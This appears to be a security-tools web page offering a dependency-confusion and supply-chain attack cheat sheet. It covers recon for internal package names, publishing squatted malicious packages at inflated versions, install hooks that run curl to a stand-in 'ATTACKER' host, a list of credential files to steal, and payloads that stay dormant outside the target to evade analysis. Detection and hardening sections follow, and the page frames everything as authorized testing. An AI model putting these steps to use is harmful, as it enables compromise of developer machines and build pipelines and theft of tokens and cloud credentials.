Dependency Confusion & Supply Chain Cheat Sheet

Dependency confusion and software supply chain attacks — internal package squatting, scoped package abuse, install-script RCE, detection across npm/PyPI/Maven, and registry-level defenses. (42 payloads)

Try it interactively with the Secret Scanner

Discovery & Recon

(7)

grep -rhoE '"@?[a-z0-9._-]+/?[a-z0-9._-]+":' package.json */package.json | sort -u

Pull every dependency name from package.json files found in JS bundles, leaked source, or reposFind internal package names to claim publicly

curl -s https://registry.npmjs.org/<pkgname> -o /dev/null -w '%{http_code}'

404 means the name is unclaimed on the public registry — a dependency-confusion candidateConfirm a name is free to register

for p in $(cat names.txt); do curl -s -o /dev/null -w "%{http_code} $p\n" https://pypi.org/pypi/$p/json; done

Batch-check a list of internal Python package names against PyPI (404 = claimable)PyPI equivalent of the npm 404 check

site:github.com "registry=https://npm." OR ".npmrc" <company>

GitHub/Google dork for leaked .npmrc files exposing private registry URLs and internal scopesInternal scope names leak in committed .npmrc / .yarnrc

Inspect webpack/Vite bundles & sourcemaps for require()/import of names that 404 on npm

Front-end builds inline internal package names; sourcemaps reveal the full dependency treeClient-side JS is a goldmine of internal names

curl -s https://<company>.jfrog.io/artifactory/api/repositories | jq '.[].key'

Misconfigured Artifactory/Nexus REST APIs sometimes list internal repo and package namesPrivate registry metadata leakage

Search Docker image layers (dive / docker history) for COPY of package.json, requirements.txt, pom.xml

Published images frequently embed manifests that disclose internal dependenciesContainer layers leak build manifests

npm Squatting & Scopes

(7)

npm publish --registry https://registry.npmjs.org

Publish a malicious package under the exact internal (unscoped) name — public takes precedence on higher versionClassic Birsan-style confusion

{ "version": "99.9.9" }

Set an absurdly high version so semver range resolution prefers your public package over the internal onepackage.json — version bump wins resolution

npm install @company/internal-lib # scope @company unclaimed on public npm

Register the unclaimed @scope publicly, then publish packages under it — defeats naive scope assumptionsScopes only protect you if YOU own the org on public npm

npm org create company # claim the scope before an attacker does

Reserving the public @company org is the simplest scope-squatting defenseDefensive registration

name: typo of popular pkg (e.g. crossenv, electorn, loadyaml, jquery-mobil)

Typosquatting — register near-miss names of high-traffic packages to catch fat-finger installsDistinct from confusion but same supply-chain class

@scope/lib with extra hyphen/underscore (cross-env vs cross_env)

Combosquatting / separator confusion within an otherwise trusted-looking scopeVisual + separator tricks

Republish a deleted/unpublished name (npm unpublish leaves a 24h+ window)

Abandoned or unpublished package names can be re-registered and weaponizedRepojacking of names, not just GitHub repos

Install-Time Execution (RCE)

(7)

"scripts": { "preinstall": "node exfil.js" }

npm runs preinstall/install/postinstall automatically on `npm install` — instant code executionpackage.json — the core of most npm supply-chain payloads

"postinstall": "curl -s https://ATTACKER/$(hostname)/$(whoami) >/dev/null"

Beacon out hostname/user/cwd to confirm execution and map internal builds (Birsan PoC pattern)Low-noise callback for proof-of-execution

from setuptools import setup\n# arbitrary code runs at `pip install` parse time\nimport os; os.system('curl https://ATTACKER')

PyPI setup.py executes during install — equivalent to npm postinstallPython install-time RCE

RubyGems: extconf.rb / Gem post_install_message + native ext build runs code

gem install compiles native extensions, executing attacker codeRubyGems install hook

Cargo build.rs runs at compile time on `cargo build`

Rust build scripts execute during dependency compilation — Cargo confusion vectorcrates.io build-script execution

Exfil targets: ~/.npmrc, ~/.aws/credentials, env vars, /proc/self/environ, CI secrets

Build agents and dev laptops hold registry tokens, cloud creds, and CI secrets in envWhat attackers grab post-execution

Stage 2: only fire payload if internal hostname/CI env vars present

Environment-keyed payloads stay dormant on researcher sandboxes, detonate only inside the targetTargeted detonation to evade analysis

Ecosystem-Specific Vectors

(6)

pip install -i https://internal --extra-index-url https://pypi.org pkg

--extra-index-url merges public PyPI with the private index; highest version wins — confusion by designPyPI: extra-index-url is the #1 confusion footgun

Maven: missing <repositories> ordering lets Central resolve a groupId you assumed was internal

If an internal groupId/artifactId isn't reserved on Central, a public artifact can shadow itJava/Maven dependency confusion

Gradle: mavenCentral() listed before/alongside internal repo → version-driven resolution

Repository declaration order plus dynamic versions (1.+) opens confusion in Gradle buildsAndroid/JVM builds

NuGet: nuget.config without packageSourceMapping resolves from any feed by version

.NET pulls the highest version across all configured feeds unless source mapping pins namesNuGet confusion

Go: GONOSUMCHECK / replaced module path + public proxy can serve a confused module

Module path squatting on a vanity import or proxy is the Go-flavored confusion vectorGo modules (less common, path-based)

GitHub Actions: uses: org/action@v1 where org/action repo is unclaimed

CI actions are dependencies too — an unregistered action repo/tag is a supply-chain entry pointPipeline dependency confusion

Detection & Auditing

(7)

npm ls --all 2>/dev/null | grep -iE 'company|internal|corp'

List the resolved tree and flag internal-looking names to confirm where they actually resolved fromWhere did each package really come from?

jq -r '.packages | to_entries[] | "\(.key)\t\(.value.resolved)"' package-lock.json

Read `resolved` URLs in the lockfile — anything pointing at registry.npmjs.org for an internal name is a red flagLockfile resolved-URL audit (npm v7+ lockfileVersion 2/3)

npm audit signatures # verifies registry signatures on installed packages

Validates that installed tarballs match registry signatures, catching tampered/substituted packagesBuilt-in integrity check

osv-scanner -r . # OSV / OpenSSF scanner across lockfiles

Scans lockfiles against the OSV database for known-malicious and vulnerable dependency versionsTooling: OSV-Scanner

confused -l npm -f package.json # visma confused / dependency-confusion scanner

Purpose-built scanner that checks whether each manifest dependency is claimable on the public registryTooling: confused (Visma)

syft dir:. -o spdx-json > sbom.json (then diff against known-good)

Generate an SBOM and diff builds to catch newly introduced or unexpectedly substituted componentsSBOM-based drift detection

Alert on outbound DNS/HTTP from build agents during install (network egress monitoring)

Install scripts that beacon out are visible as anomalous build-time egressBehavioral detection in CI

Defenses & Hardening

(8)

Reserve all internal @scopes and package names on the public registry

An attacker can't squat a name you already own — defensive registration is the cheapest controlNamespace ownership

.npmrc: @company:registry=https://internal && always-auth=true

Bind your scope to the private registry so scoped installs never fall through to public npmScope-to-registry pinning

pip: use a single index that proxies & caches public, never --extra-index-url

Replace extra-index-url with a private mirror/proxy (Artifactory, Nexus, devpi) that controls precedencePyPI hardening — kill the merge behavior

NuGet: <packageSourceMapping> patterns pinning prefixes to specific feeds

Source mapping forces each package name/prefix to resolve from exactly one feed.NET — eliminates feed ambiguity

npm ci --ignore-scripts (and enableScripts:false in .yarnrc.yml)

Disable lifecycle scripts in CI to neutralize install-time RCE from any dependencyStop install hooks running in pipelines

Commit lockfiles + enable npm ci / pip install --require-hashes

Hash-pinned, lockfile-driven installs prevent silent substitution of a higher public versionPin integrity, not just versions

Proxy registry with upstream-block on internal namespaces (Artifactory exclude patterns)

Configure the proxy to never fetch internal name patterns from upstream public registriesRegistry-level confusion block

Sign & verify: Sigstore/cosign, npm provenance (--provenance), SLSA build attestations

Provenance and signatures let consumers verify a package was built from expected source by expected CIProvenance / SLSA

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Cheat Sheets

Command Injection Cheat Sheet Insecure Deserialization Cheat Sheet Post-Exploitation Cheat Sheet

Frequently asked questions

What is the Dependency Confusion & Supply Chain Cheat Sheet?+

It's a quick-reference collection of 42 Dependency Confusion payloads for testing Dependency Confusion & Supply Chain vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Dependency Confusion payloads?+

Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.

Are these Dependency Confusion payloads free to use?+

Yes — this cheat sheet and all Dependency Confusion payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the Dependency Confusion & Supply Chain Cheat Sheet?+

How do I use these Dependency Confusion payloads?+

Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.

Are these Dependency Confusion payloads free to use?+

Yes — this cheat sheet and all Dependency Confusion payloads are completely free, with no account required. Everything runs in your browser.

Dependency Confusion & Supply Chain Cheat Sheet

Discovery & Recon

npm Squatting & Scopes

Install-Time Execution (RCE)

Ecosystem-Specific Vectors

Detection & Auditing

Defenses & Hardening

Related Tools

Related Cheat Sheets

Frequently asked questions

Dependency Confusion & Supply Chain Cheat Sheet

Discovery & Recon

npm Squatting & Scopes

Install-Time Execution (RCE)

Ecosystem-Specific Vectors

Detection & Auditing

Defenses & Hardening

Related Tools

Related Cheat Sheets

Frequently asked questions